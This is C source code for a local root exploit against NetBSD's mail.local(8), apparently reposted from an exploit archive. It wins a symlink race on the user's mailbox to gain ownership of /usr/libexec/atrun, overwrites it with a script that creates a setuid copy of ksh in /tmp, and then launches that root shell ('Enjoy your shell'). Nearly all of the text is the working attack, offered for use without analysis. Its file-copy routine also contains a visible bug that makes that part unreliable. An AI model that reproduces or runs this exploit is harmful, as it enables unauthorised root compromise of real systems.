NetBSD mail.local(8) Local Root

`// Source: http://akat1.pl/?id=2  
  
#include <stdio.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <signal.h>  
#include <stdlib.h>  
#include <string.h>  
#include <err.h>  
#include <sys/wait.h>  
  
#define ATRUNPATH "/usr/libexec/atrun"  
#define MAILDIR "/var/mail"  
  
static int  
overwrite_atrun(void)  
{  
char *script = "#! /bin/sh\n"  
"cp /bin/ksh /tmp/ksh\n"  
"chmod +s /tmp/ksh\n";  
size_t size;  
FILE *fh;  
int rv = 0;  
  
fh = fopen(ATRUNPATH, "wb");  
  
if (fh == NULL) {  
rv = -1;  
goto out;  
}  
  
size = strlen(script);  
if (size != fwrite(script, 1, strlen(script), fh)) {  
rv = -1;  
goto out;  
}  
  
out:  
if (fh != NULL && fclose(fh) != 0)  
rv = -1;  
  
return rv;  
}  
  
static int  
copy_file(const char *from, const char *dest, int create)  
{  
char buf[1024];  
FILE *in = NULL, *out = NULL;  
size_t size;  
int rv = 0, fd;  
  
in = fopen(from, "rb");  
if (create == 0)  
out = fopen(dest, "wb");  
else {  
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |  
S_IWUSR);  
if (fd == -1) {  
rv = -1;  
goto out;  
}  
out = fdopen(fd, "wb");  
}  
  
if (in == NULL || out == NULL) {  
rv = -1;  
goto out;  
}  
  
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {  
if (fwrite(&buf, 1, size, in) != 0) {  
rv = -1;  
goto out;  
}  
}  
  
out:  
if (in != NULL && fclose(in) != 0)  
rv = -1;  
if (out != NULL && fclose(out) != 0)  
rv = -1;  
  
return rv;  
}  
  
int  
main()  
{  
pid_t pid;  
uid_t uid;  
struct stat sb;  
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;  
  
umask(0077);  
  
login = getlogin();  
  
if (login == NULL)  
err(EXIT_FAILURE, "who are you?");  
  
uid = getuid();  
  
asprintf(&mailbox, MAILDIR "/%s", login);  
  
if (mailbox == NULL)  
err(EXIT_FAILURE, NULL);  
  
if (access(mailbox, F_OK) != -1) {  
/* backup mailbox */  
asprintf(&mailbox_backup, "/tmp/%s", login);  
if (mailbox_backup == NULL)  
err(EXIT_FAILURE, NULL);  
}  
  
if (mailbox_backup != NULL) {  
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,  
mailbox_backup);  
  
if (copy_file(mailbox, mailbox_backup, 1))  
err(EXIT_FAILURE, "[-] failed");  
}  
  
/* backup atrun(1) */  
atrun_backup = strdup("/tmp/atrun");  
if (atrun_backup == NULL)  
err(EXIT_FAILURE, NULL);  
  
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,  
atrun_backup);  
  
if (copy_file(ATRUNPATH, atrun_backup, 1))  
err(EXIT_FAILURE, "[-] failed");  
  
/* win the race */  
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);  
  
switch (pid = fork()) {  
case -1:  
err(EXIT_FAILURE, NULL);  
/* NOTREACHED */  
  
case 0:  
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "  
"2> /dev/null", login);  
  
for(;;)  
system(buf);  
/* NOTREACHED */  
  
default:  
umask(0022);  
for(;;) {  
int fd;  
unlink(mailbox);  
symlink(ATRUNPATH, mailbox);  
sync();  
unlink(mailbox);  
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);  
close(fd);  
sync();  
if (lstat(ATRUNPATH, &sb) == 0) {  
if (sb.st_uid == uid) {  
kill(pid, 9);  
fprintf(stderr, "[+] won race!\n");  
break;  
}  
}  
}  
break;  
}  
(void)waitpid(pid, NULL, 0);  
  
if (mailbox_backup != NULL) {  
/* restore mailbox */  
fprintf(stderr, "[+] restore mailbox %s to %s\n",  
mailbox_backup, mailbox);  
  
if (copy_file(mailbox_backup, mailbox, 0))  
err(EXIT_FAILURE, "[-] failed");  
if (unlink(mailbox_backup) != 0)  
err(EXIT_FAILURE, "[-] failed");  
}  
  
/* overwrite atrun */  
fprintf(stderr, "[+] overwriting atrun(1)\n");  
  
if (chmod(ATRUNPATH, 0755) != 0)  
err(EXIT_FAILURE, NULL);  
  
if (overwrite_atrun())  
err(EXIT_FAILURE, NULL);  
  
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");  
  
for(;;sleep(1)) {  
if (access("/tmp/ksh", F_OK) != -1)  
break;  
}  
  
/* restore atrun */  
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,  
ATRUNPATH);  
  
if (copy_file(atrun_backup, ATRUNPATH, 0))  
err(EXIT_FAILURE, "[-] failed");  
if (unlink(atrun_backup) != 0)  
err(EXIT_FAILURE, "[-] failed");  
  
if (chmod(ATRUNPATH, 0555) != 0)  
err(EXIT_FAILURE, NULL);  
  
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "  
"ownership.\n");  
fprintf(stderr, "Enjoy your shell:\n");  
  
execl("/tmp/ksh", "ksh", NULL);  
  
return 0;  
}  
  
  
`